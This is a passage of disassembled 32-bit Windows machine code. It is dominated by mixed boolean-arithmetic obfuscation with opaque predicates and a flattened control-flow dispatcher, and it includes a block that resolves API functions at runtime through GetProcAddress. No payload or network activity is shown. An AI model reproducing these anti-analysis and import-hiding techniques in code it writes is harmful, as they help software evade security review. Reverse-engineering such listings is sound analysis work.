xor cl, 0xff
mov dh, dl
xor dh, 0xff
mov ch, 1
xor ch, 1
or cl, dh
or ch, 1
xor cl, 0xff
and cl, ch
mov dh, 1
xor dh, 0
mov ch, bh
xor ch, dh
and ch, bh
mov byte [ebp - 0x73c], ch
xor ah, 0xff
mov dh, dl
xor dh, 0xff
mov ch, 1
xor ch, 1
or ah, dh
or ch, 1
xor ah, 0xff
and ah, ch
mov byte [ebp - 0x73d], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ch, ah
and ch, 0xff
and al, dh
mov byte [ebp - 0x73f], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x73e], al
mov al, byte [ebp - 0x73f]
and cl, dh
or ch, al
mov al, byte [ebp - 0x73e]
or al, cl
mov cl, byte [ebp - 0x73d]
xor ch, al
mov al, byte [ebp - 0x73c]
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or ch, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x739], ah
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
and ah, 0xff
and al, dh
mov byte [ebp - 0x73b], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x73a], al
mov al, byte [ebp - 0x73b]
and cl, dh
or ah, al
mov al, byte [ebp - 0x73a]
or al, cl
mov cl, byte [ebp - 0x739]
xor ah, al
mov al, byte [ebp - 0x738]
or cl, bl
xor cl, 0xff
or dh, 1
and cl, dh
or ah, cl
mov bl, ch
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov cl, ah
xor cl, 0xff
and cl, 0xff
and ah, dh
or bl, ch
or cl, ah
xor bl, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x737], cl
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
and cl, 0xff
and al, ah
mov dh, ch
and dh, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x737]
or dh, bh
xor cl, dh
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
mov cl, dl
and cl, 0
xor dl, 0
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdc2c0314
mov ecx, 0x8b7de7e2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
mov dword [ebp - 0x1a8], 0xc5583df7
jmp 0x4b4ff5
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x80]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0x148]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov eax, dword [ebp - 0x138]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x79], al
mov ecx, dword [0x6525dc]
mov eax, dword [0x6525d8]
xor esi, esi
sub esi, ecx
xor edx, edx
sub edx, 0xb48d51d7
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0xf2b159c2
sub edx, 0xaee1e50e
add edx, 0xf2b159c2
xor esi, esi
sub esi, 0xb48d51d7
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x7fdbbeaa
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 1
add edx, esi
add edx, 0xac84605d
sub edx, 0x7fdbbeaa
sub edx, 0xac84605d
sub edx, 0x6d997bdd
sub edx, 0xd0b2b569
add edx, 0x6d997bdd
sub edx, 0xc1c6206b
add edx, 0xaee1e50e
add edx, 0xc1c6206b
xor esi, esi
sub esi, 0xd0b2b569
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
mov byte [ebp - 0x767], cl
cmp eax, 0xa
setl al
mov byte [ebp - 0x762], al
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov dl, cl
and dl, ch
or ah, dl
mov bh, 1
xor bh, 1
xor ah, 0xff
mov dl, 1
xor dl, 1
or bh, ah
or dl, 1
xor bh, 0xff
and bh, dl
mov dl, 1
xor dl, 1
and dl, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or dl, dh
or ah, ch
xor dl, ah
xor dl, 0xff
mov bl, cl
xor bl, dl
and bl, cl
mov dl, bh
xor dl, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
and bh, ah
mov dh, ch
and dh, 0xff
and bl, ah
or cl, bh
or dh, bl
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov byte [ebp - 0x74c], cl
mov ah, al
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov ch, al
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or ah, ch
or cl, dl
xor ah, cl
mov cl, 1
xor cl, 0
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov ch, 1
xor ch, 0
and ch, 1
mov dl, 1
xor dl, 1
and dl, 0
or ch, dl
mov dl, ch
xor dl, 0xff
mov bh, al
xor bh, dl
and bh, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
xor dl, 0xff
mov ah, 1
xor ah, 0
mov al, 1
xor al, 0
or dl, ah
or al, 0
xor dl, 0xff
and dl, al
mov ah, 1
xor ah, 1
xor ch, 0xff
mov al, 1
xor al, 0
or ah, ch
or al, 0
xor ah, 0xff
and ah, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x76a], al
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
and al, 0xff
and cl, ch
mov bl, dh
and bl, 0xff
and bh, ch
or al, cl
mov cl, byte [ebp - 0x76a]
or bl, bh
xor al, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov ah, al
xor ah, 0xff
mov dl, cl
and dl, ah
xor cl, 0xff
and al, cl
or dl, al
mov ah, 1
xor ah, 0
and ah, 0
mov cl, 1
xor cl, 0
mov ch, cl
and ch, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov ah, 1
xor ah, 1
and ah, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or ah, dh
or cl, ch
xor ah, cl
mov cl, 1
xor cl, 0
mov dh, ah
xor dh, 0xff
mov ch, 1
xor ch, 0
or cl, dh
or ch, 0
xor cl, 0xff
and cl, ch
mov dh, 1
xor dh, 1
and dh, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and bl, 1
or dh, bh
or ch, bl
xor dh, ch
mov bl, 1
xor bl, 1
mov ch, dh
xor ch, bl
and ch, dh
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov byte [ebp - 0x766], ah
mov ah, al
xor ah, 0xff
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 1
mov bl, ah
and bl, 0xff
and al, dh
mov byte [ebp - 0x769], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x768], al
mov al, byte [ebp - 0x769]
and cl, dh
or bl, al
mov al, byte [ebp - 0x768]
or al, cl
mov cl, byte [ebp - 0x767]
xor bl, al
mov al, byte [ebp - 0x766]
or ah, bh
xor ah, 0xff
or dh, 1
and ah, dh
or bl, ah
mov dh, ch
xor dh, 0xff
mov byte [ebp - 0x763], dh
mov bh, al
xor bh, 0xff
mov ah, 1
xor ah, 0
and dh, 0
and ch, ah
mov byte [ebp - 0x765], ch
mov ch, bh
and ch, 0
and al, ah
mov byte [ebp - 0x764], al
mov al, byte [ebp - 0x765]
or dh, al
mov al, byte [ebp - 0x764]
or ch, al
mov al, byte [ebp - 0x763]
xor dh, ch
mov ch, byte [ebp - 0x74c]
or al, bh
xor al, 0xff
or ah, 0
and al, ah
or dh, al
mov al, bl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and bl, bh
mov ah, dh
xor ah, 0xff
and ah, 0xff
and dh, bh
or al, bl
or ah, dh
xor al, ah
mov byte [ebp - 0x74b], al
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
mov bl, ch
xor bl, 0xff
and bl, 0
mov al, 1
xor al, 0
mov bh, ch
and bh, al
mov ah, dh
xor ah, 0xff
and ah, 0
and dh, al
mov al, byte [ebp - 0x74b]
or bl, bh
or ah, dh
xor bl, ah
xor bl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
or bl, ch
or ah, 1
xor bl, 0xff
and bl, ah
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and al, ah
or ch, al
mov ah, cl
xor ah, 0xff
mov al, ch
and al, ah
xor ch, 0xff
mov ah, cl
and ah, ch
or al, ah
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov ah, dl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov dh, dl
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, dh
or al, cl
xor ah, al
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
mov al, ah
and al, dh
xor ah, dh
or al, ah
mov dh, cl
and dh, 1
xor cl, 1
or dh, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov bh, 1
xor bh, 1
and al, bh
mov cl, 1
xor cl, 1
and cl, 0xff
and bh, 1
or ah, al
mov al, byte [ebp - 0x762]
or cl, bh
xor ah, cl
xor ah, 0xff
xor dh, 0xff
mov cl, 1
xor cl, 1
or ah, dh
or cl, 1
xor ah, 0xff
and ah, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov bh, 1
xor bh, 1
and al, bh
mov dh, 1
xor dh, 1
and dh, 0xff
and bh, 1
or cl, al
mov al, byte [ebp - 0x74b]
or dh, bh
xor cl, dh
mov byte [ebp - 0x761], cl
mov cl, al
xor cl, 0xff
and cl, 1
mov bh, 1
xor bh, 1
and al, bh
mov dh, 1
xor dh, 1
and dh, 0xff
and bh, 1
or cl, al
mov al, byte [ebp - 0x761]
or dh, bh
xor cl, dh
mov dh, 1
xor dh, 0
and dh, 1
mov bh, 1
xor bh, 1
and bh, 0
or dh, bh
mov byte [ebp - 0x75c], dh
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x75e], dh
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x75d], bh
mov bh, 1
xor bh, 0
and dh, 0
and al, bh
mov byte [ebp - 0x760], al
mov al, byte [ebp - 0x75d]
and al, 0
mov byte [ebp - 0x75f], al
mov al, byte [ebp - 0x760]
and cl, bh
or dh, al
mov al, byte [ebp - 0x75f]
or al, cl
mov cl, byte [ebp - 0x75e]
xor dh, al
mov al, byte [ebp - 0x75d]
or cl, al
mov al, byte [ebp - 0x75c]
xor cl, 0xff
or bh, 0
and cl, bh
or dh, cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x756], cl
xor al, 0xff
mov byte [ebp - 0x757], al
mov bh, 1
xor bh, 0
and cl, 0
mov byte [ebp - 0x75b], cl
mov cl, bh
and cl, 0
and al, 0
mov byte [ebp - 0x75a], al
mov al, byte [ebp - 0x75c]
and al, bh
mov byte [ebp - 0x759], al
mov al, byte [ebp - 0x75b]
or al, cl
mov cl, byte [ebp - 0x75a]
mov byte [ebp - 0x758], al
mov al, byte [ebp - 0x759]
or cl, al
mov al, byte [ebp - 0x758]
xor al, cl
mov cl, byte [ebp - 0x757]
mov byte [ebp - 0x755], al
mov al, byte [ebp - 0x756]
or al, cl
mov cl, byte [ebp - 0x755]
xor al, 0xff
or bh, 0
and al, bh
or cl, al
mov al, dh
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and dh, bh
or al, dh
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, ch
xor al, 0xff
mov bh, bl
xor bh, al
and bh, bl
mov al, bl
xor al, 0xff
and al, 0
mov byte [ebp - 0x754], al
mov al, 1
xor al, 0
and bl, al
mov cl, ch
xor cl, 0xff
and cl, 0
and ch, al
mov al, byte [ebp - 0x754]
or al, bl
or cl, ch
xor al, cl
mov cl, bh
xor cl, 0xff
mov byte [ebp - 0x751], cl
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 0
and cl, 0
and bh, ch
mov byte [ebp - 0x753], bh
mov bh, bl
and bh, 0
and al, ch
mov byte [ebp - 0x752], al
mov al, byte [ebp - 0x753]
or cl, al
mov al, byte [ebp - 0x752]
or bh, al
mov al, byte [ebp - 0x751]
xor cl, bh
or al, bl
xor al, 0xff
or ch, 0
and al, ch
or cl, al
mov al, ah
xor al, 0xff
mov bl, dh
xor bl, 0xff
mov ch, 1
xor ch, 0
or al, bl
or ch, 0
xor al, 0xff
and al, ch
mov bl, ah
xor bl, 0xff
mov ch, dh
and ch, bl
xor dh, 0xff
and ah, dh
or ch, ah
mov ah, al
and ah, ch
xor al, ch
or ah, al
mov ch, cl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov al, cl
and al, dh
or ch, al
mov bh, 1
xor bh, 0
xor ch, 0xff
mov al, 1
xor al, 1
or bh, ch
or al, 1
xor bh, 0xff
and bh, al
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
and al, 0
or ch, al
mov dh, ch
xor dh, 0xff
mov al, cl
xor al, dh
and al, cl
mov dh, ah
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
mov cl, ah
and cl, bl
or dh, cl
mov bl, 1
xor bl, 0
mov cl, dh
xor cl, bl
and cl, dh
mov byte [ebp - 0x74e], cl
xor ah, 0xff
xor ch, 0xff
mov cl, 1
xor cl, 0
or ah, ch
or cl, 0
xor ah, 0xff
and ah, cl
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov cl, ch
and cl, 0xff
and bh, dh
mov byte [ebp - 0x750], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x74f], al
mov al, byte [ebp - 0x750]
or cl, al
mov al, byte [ebp - 0x74f]
or bh, al
mov al, byte [ebp - 0x74e]
xor cl, bh
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or cl, ch
mov byte [ebp - 0x74d], cl
mov ch, al
xor ch, 0xff
mov bl, ah
xor bl, 0xff
mov dh, 1
xor dh, 1
mov cl, ch
and cl, 0xff
and al, dh
mov bh, bl
and bh, 0xff
and ah, dh
or cl, al
mov al, byte [ebp - 0x74d]
or bh, ah
mov ah, byte [ebp - 0x74c]
xor cl, bh
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or cl, ch
mov dh, al
xor dh, 0xff
mov ch, cl
and ch, dh
xor cl, 0xff
and al, cl
or ch, al
mov cl, dl
xor cl, 0xff
mov al, ah
xor al, cl
and al, ah
mov bh, ah
xor bh, 0xff
and bh, 0
mov dh, 1
xor dh, 0
and ah, dh
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, dh
or bh, ah
or cl, dl
xor bh, cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov dl, 1
xor dl, 0
mov ah, cl
and ah, 0
and al, dl
mov bl, dh
and bl, 0
and bh, dl
or ah, al
mov al, byte [ebp - 0x74b]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or dl, 0
and cl, dl
or ah, cl
mov dl, ah
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov cl, ah
and cl, dh
or dl, cl
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov dh, 1
xor dh, 1
and dh, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0
and bl, 1
or dh, bh
or cl, bl
xor dh, cl
xor ah, 0xff
xor dh, 0xff
mov cl, 1
xor cl, 1
or ah, dh
or cl, 1
xor ah, 0xff
and ah, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov byte [ebp - 0x74a], cl
mov cl, 1
xor cl, 0
mov ah, al
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, 1
xor dl, 0
mov bh, al
and bh, dl
xor al, 0xff
and al, 0
or bh, al
mov dl, cl
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 0
mov al, dl
and al, 0
and cl, ah
mov bl, dh
and bl, 0
and bh, ah
or al, cl
mov cl, byte [ebp - 0x74a]
or bl, bh
xor al, bl
or dl, dh
xor dl, 0xff
or ah, 0
and dl, ah
or al, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
mov ah, cl
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
mov dh, cl
and dh, bl
mov al, dl
xor al, 0xff
and al, 0xff
and dl, bl
or ah, dh
or al, dl
xor ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov al, ch
xor al, 0xff
mov dl, ah
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x93c957e4
mov ecx, 0xc4035824
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x78]
mov dword [eax], ecx
mov dword [ebp - 0x1a8], 0x52d22537
jmp 0x4b4ff5
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x150]
imul ecx, dword [ecx], 0x14
add eax, ecx
mov dword [ebp - 0x6c], eax
mov eax, dword [0x6525dc]
mov ecx, dword [0x6525d8]
xor esi, esi
sub esi, 0xb2aab2f0
mov edx, eax
sub edx, esi
sub edx, 0xf98c06e0
sub edx, 0xd8ebcf9e
add edx, 0xf98c06e0
sub edx, 0xe5f24bbb
sub edx, 0xb2aab2f0
add edx, 0xe5f24bbb
sub edx, 0x31cc00d3
sub edx, 0xa5c9fbd2
add edx, 0x31cc00d3
add edx, 0x9cb153e6
sub edx, 1
sub edx, 0x9cb153e6
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xa5c9fbd2
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0x83fbca75
sub edx, 0x3badfcad
sub edx, 0x83fbca75
xor esi, esi
sub esi, 0xd8ebcf9e
sub edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x3badfcad
add esi, edx
xor edx, edx
sub edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl dl
mov ch, ah
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov dh, ah
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov cl, 1
xor cl, 1
xor ch, 0xff
mov al, 1
xor al, 1
or cl, ch
or al, 1
xor cl, 0xff
and cl, al
mov al, 1
xor al, 1
and al, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or al, bl
or ch, dh
xor al, ch
xor al, 0xff
mov ch, ah
xor ch, al
and ch, ah
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov byte [ebp - 0x7ce], al
mov cl, dl
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
mov dh, dl
and dh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or cl, dh
or al, ch
xor cl, al
xor cl, 0xff
xor cl, 0
and cl, 0
mov dh, 1
xor dh, 0
and dh, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 0
mov al, 1
xor al, 1
and al, 0
and ch, 1
or dh, bl
or al, ch
xor dh, al
mov ch, dh
xor ch, 0xff
mov al, dl
xor al, ch
and al, dl
mov byte [ebp - 0x7f6], al
mov ch, 1
xor ch, 1
and ch, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or ch, bh
mov bh, byte [ebp - 0x7f6]
or al, bl
xor ch, al
mov bl, 1
xor bl, 0
mov al, ch
xor al, bl
and al, ch
mov byte [ebp - 0x7f1], al
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov ch, cl
xor ch, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 1
mov al, ch
and al, 0xff
mov byte [ebp - 0x7f5], al
and cl, bl
mov al, bh
and al, 0xff
mov byte [ebp - 0x7f3], al
mov al, byte [ebp - 0x7f6]
and al, bl
mov byte [ebp - 0x7f4], al
mov al, byte [ebp - 0x7f5]
or al, cl
mov cl, byte [ebp - 0x7f4]
mov byte [ebp - 0x7f2], al
mov al, byte [ebp - 0x7f3]
or al, cl
mov cl, byte [ebp - 0x7f2]
xor cl, al
mov al, byte [ebp - 0x7f1]
or ch, bh
xor ch, 0xff
or bl, 1
and ch, bl
or cl, ch
mov ch, al
and ch, dh
xor al, dh
or ch, al
mov dh, cl
xor dh, 0xff
mov al, ch
and al, dh
xor ch, 0xff
and cl, ch
or al, cl
mov byte [ebp - 0x7d0], al
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
and al, 0
or ch, al
mov cl, 1
xor cl, 1
xor ch, 0xff
mov al, 1
xor al, 0
or cl, ch
or al, 0
xor cl, 0xff
and cl, al
mov al, 1
xor al, 1
and al, 1
mov ch, 1
xor ch, 1
and ch, 1
or al, ch
mov ch, al
xor ch, 0xff
xor ch, 0
and ch, 0
mov dh, 1
xor dh, 1
and dh, 1
mov bl, 1
xor bl, 1
and bl, 1
or dh, bl
xor dh, 0xff
mov bh, 1
xor bh, 1
mov bl, 1
xor bl, 0
or dh, bh
or bl, 0
xor dh, 0xff
and dh, bl
xor al, 0xff
xor al, 1
and al, 0xff
mov bl, cl
and bl, ch
xor cl, ch
or bl, cl
mov ch, dh
xor ch, 0xff
mov byte [ebp - 0x7ee], ch
mov bh, al
xor bh, 0xff
mov cl, 1
xor cl, 0
and ch, 0
and dh, cl
mov byte [ebp - 0x7f0], dh
mov dh, bh
and dh, 0
and al, cl
mov byte [ebp - 0x7ef], al
mov al, byte [ebp - 0x7f0]
or ch, al
mov al, byte [ebp - 0x7ef]
or dh, al
mov al, byte [ebp - 0x7ee]
xor ch, dh
mov dh, byte [ebp - 0x7ce]
or al, bh
xor al, 0xff
or cl, 0
and al, cl
or ch, al
mov al, bl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and bl, bh
mov cl, ch
xor cl, 0xff
and cl, 0xff
and ch, bh
or al, bl
or cl, ch
xor al, cl
mov byte [ebp - 0x7cc], al
mov cl, dh
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or cl, dh
or al, ch
xor cl, al
mov ch, 1
xor ch, 0
and ch, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 0
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or ch, bl
or al, dh
xor ch, al
mov al, 1
xor al, 1
and al, 1
mov dh, 1
xor dh, 1
and dh, 1
or al, dh
mov dh, cl
and dh, ch
xor cl, ch
or dh, cl
mov ch, 1
xor ch, 1
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x7eb], cl
mov bh, 1
xor bh, 0
mov bl, ch
and bl, 0
mov cl, bh
and cl, 1
mov byte [ebp - 0x7ed], cl
mov cl, byte [ebp - 0x7eb]
and cl, 0
and al, bh
mov byte [ebp - 0x7ec], al
mov al, byte [ebp - 0x7ed]
or bl, al
mov al, byte [ebp - 0x7ec]
or cl, al
mov al, byte [ebp - 0x7eb]
xor bl, cl
mov cl, byte [ebp - 0x7cc]
or ch, al
mov al, byte [ebp - 0x7d0]
xor ch, 0xff
or bh, 0
and ch, bh
or bl, ch
mov ch, dh
xor ch, 0xff
and ch, 1
mov bh, 1
xor bh, 1
and dh, bh
or ch, dh
xor ch, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 0
or ch, bl
or dh, 0
xor ch, 0xff
and ch, dh
mov byte [ebp - 0x7e4], ch
mov dh, cl
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
and cl, ch
or dh, cl
mov ch, ah
xor ch, 0xff
and ch, 0
mov bh, 1
xor bh, 0
mov bl, ah
and bl, bh
mov cl, dh
xor cl, 0xff
and cl, 0
and dh, bh
or ch, bl
or cl, dh
xor ch, cl
xor ch, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 0
or ch, ah
or cl, 0
xor ch, 0xff
and ch, cl
mov bl, al
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
and al, cl
or bl, al
mov al, 1
xor al, 0
and al, 1
mov cl, 1
xor cl, 1
and cl, 0
or al, cl
mov cl, 1
xor cl, 0
and cl, 1
mov ah, 1
xor ah, 1
and ah, 0
or cl, ah
mov byte [ebp - 0x7e8], cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 0
mov bh, cl
and bh, 0
and bl, ah
mov byte [ebp - 0x7ea], bl
mov bl, dh
and bl, 0
and al, ah
mov byte [ebp - 0x7e9], al
mov al, byte [ebp - 0x7ea]
or bh, al
mov al, byte [ebp - 0x7e9]
or bl, al
mov al, byte [ebp - 0x7e8]
xor bh, bl
mov bl, byte [ebp - 0x7cc]
or cl, dh
xor cl, 0xff
or ah, 0
and cl, ah
or bh, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
mov al, bh
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and bh, dh
mov ah, 1
xor ah, 1
and ah, 0xff
and dh, 1
or al, bh
or ah, dh
xor al, ah
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov ah, dl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, dl
or al, cl
xor ah, al
mov al, bl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and bl, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, bl
or cl, dl
xor al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and bl, 1
or cl, bh
or dl, bl
xor cl, dl
mov byte [ebp - 0x7e5], cl
mov cl, ah
xor cl, 0xff
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 0
mov dl, cl
and dl, 0
and ah, bl
mov byte [ebp - 0x7e7], ah
mov ah, bh
and ah, 0
and al, bl
mov byte [ebp - 0x7e6], al
mov al, byte [ebp - 0x7e7]
or dl, al
mov al, byte [ebp - 0x7e6]
or ah, al
mov al, byte [ebp - 0x7e5]
xor dl, ah
mov ah, byte [ebp - 0x7e4]
or cl, bh
xor cl, 0xff
or bl, 0
and cl, bl
or dl, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov al, dl
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and dl, bl
or al, dl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov dl, ah
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, ch
and al, cl
or ah, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
mov byte [ebp - 0x7d9], cl
mov al, 1
xor al, 1
mov bh, dl
xor bh, al
mov al, byte [ebp - 0x7e4]
and bh, dl
xor cl, 0xff
xor al, cl
mov cl, byte [ebp - 0x7e4]
and al, cl
mov byte [ebp - 0x7e1], al
mov cl, ah
xor cl, 0xff
mov al, 1
xor al, 1
mov byte [ebp - 0x7e3], al
mov al, 1
xor al, 0
mov byte [ebp - 0x7e2], al
mov al, byte [ebp - 0x7e3]
or cl, al
mov al, byte [ebp - 0x7e2]
or al, 0
xor cl, 0xff
and cl, al
